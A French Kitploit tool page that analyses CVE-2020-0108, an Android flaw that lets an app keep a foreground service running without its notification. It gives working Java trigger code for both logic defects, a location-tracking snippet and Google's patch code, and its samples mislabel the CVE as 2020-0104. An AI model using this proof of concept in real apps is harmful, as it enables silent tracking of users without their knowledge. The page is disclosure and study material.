Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ServiceCheater — PoC de CVE-2020-0108 | Kitploit
Outils/GitHubGitHub/crackercat/servicecheater
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité Mobile
GitHubcrackercat/servicecheater

ServiceCheater

PoC de CVE-2020-0108

Voir le dépôt
1113il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de la vulnérabilité d'élévation de privilège du service de premier plan CVE-2020-0108

1. Contexte de la vulnérabilité

  • Dans le correctif d'AOSP d'août 2020, une vulnérabilité dans la couche framework AMS a été divulguée, numérotée CVE-2020-0108, classée comme élevée. Il s'agit d'un défaut logique dans le traitement des services de premier plan par AMS. Un attaquant qui exploite avec succès cette vulnérabilité peut contourner l'affichage de la notification du service de premier plan et continuer à s'exécuter en arrière-plan. L'attaque doit être lancée par une application malveillante locale, sans interaction de l'utilisateur. Si l'utilisateur a accordé d'autres autorisations à l'application, cela peut causer des dommages plus importants, comme le suivi continu de la position ou l'enregistrement silencieux.

2. Détails de la vulnérabilité

  • Les services de premier plan sont un concept introduit par Google dans Android 8.0. Étant donné qu'Android 8.0 ne permet pas de démarrer des services en arrière-plan depuis l'arrière-plan, le concept de service de premier plan a été conçu. Les services de premier plan ont une priorité plus élevée et peuvent s'exécuter longtemps en arrière-plan, mais ils doivent lier une notification dans les 5 secondes suivant leur démarrage, sinon ils sont tués. En réalité, les services de premier plan s'exécutent toujours en « arrière-plan », mais comme ils sont liés à une notification visible par l'utilisateur, Google les appelle « services de premier plan ».
  • Cette vulnérabilité comporte deux méthodes d'attaque, correspondant à deux défauts logiques.
  • Le premier défaut se trouve dans la méthode onNotificationError de NotificationManagerService, qui ne gère pas correctement les cas anormaux lors de l'affichage de la notification.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • Dans ce cas, même si la notification ne s'affiche pas correctement après le démarrage du service de premier plan, cela n'entraîne pas la fin du service. Par exemple, si le service de premier plan utilise une mise en page personnalisée lors de la création de la notification, en passant une valeur de resID inexistante lors de la construction de l'objet RemoteViews, cela échoue lors de l'analyse du layout de la notification par NotificationManagerService et lève une exception, appelant ainsi onNotificationError. Comme la méthode onNotificationError appelle simplement cancelNotification pour annuler la notification sans terminer le service ou l'ensemble de l'application, le service de premier plan continue de s'exécuter sans afficher de notification.
  • Le second défaut se trouve dans la méthode postNotification de ServiceRecord, qui ne gère pas correctement les cas anormaux lors de l'affichage de la notification et lève une exception vers le programme utilisateur.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • Dans ce cas, après le démarrage du service de premier plan, si le programme utilisateur capture l'exception du thread principal, même si la notification ne s'affiche pas correctement, cela n'entraîne pas la fin du service. Par exemple, si le service de premier plan transmet un ID de canal invalide lors de la création de la notification, cela lève une exception lors de l'envoi de la notification dans la méthode postNotification de ServiceRecord. Dans la gestion de l'exception, seule la méthode crashApplication de l'AMS est appelée pour lancer une exception du thread principal vers l'application. Mais si l'application capture l'exception sur le thread principal, l'application ne plante pas, et le service de premier plan continue de s'exécuter sans afficher de notification.

3. Validation de la vulnérabilité

  • Premier défaut, peut être déclenché dans un service de premier plan avec le code suivant :
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • Lors de la création de l'objet RemoteViews, nous avons défini l'ID de layout sur -1, ce qui est clairement une valeur invalide, déclenchant ainsi le rappel onNotificationError.
  • Second défaut, peut être déclenché dans un service de premier plan avec le code suivant :
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • Cette fois, nous n'avons pas créé d'objet NotificationChannel et avons directement utilisé un ID de canal invalide pour construire la notification, déclenchant ainsi l'exception de la méthode postNotification. Puis nous avons capturé l'exception du thread principal, empêchant ainsi le plantage de l'application.

4. Impact de la vulnérabilité

  • En exploitant avec succès cette vulnérabilité, une application malveillante peut lancer silencieusement un service de premier plan haute priorité en arrière-plan et le faire fonctionner en continu.
  • L'impact le plus important est que l'application peut suivre l'utilisateur en utilisant l'autorisation de localisation. Comme il s'agit d'un service de premier plan, même si l'option « Autoriser uniquement l'accès à la localisation en premier plan » est sélectionnée, le suivi de localisation peut toujours avoir lieu en « arrière-plan » sans que l'utilisateur s'en rende compte.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. Correctif de la vulnérabilité

  • Google a corrigé cette vulnérabilité dans le correctif d'août 2020. Les principales modifications consistent à forcer le plantage de l'application dans le rappel onNotificationError, et également dans la gestion des exceptions de la méthode postNotification. Dans la méthode crashApplication, avec le mode forcé force=true, l'AMS force la suppression de l'application dans les 5 secondes suivant l'exception, même si l'application capture l'exception.
  • La méthode onNotificationError appelle crashApplication pour faire planter l'application, avec force=true.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • Dans la gestion des exceptions de la méthode postNotification, la méthode killMisbehavingService est appelée pour tuer le service au comportement anormal.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • La méthode killMisbehavingService appelle également crashApplication après avoir acquis le verrou.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • Le traitement de force=true est le suivant : forcer la suppression de l'application dans les 5 secondes suivant l'exception.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
Télécharger l’outil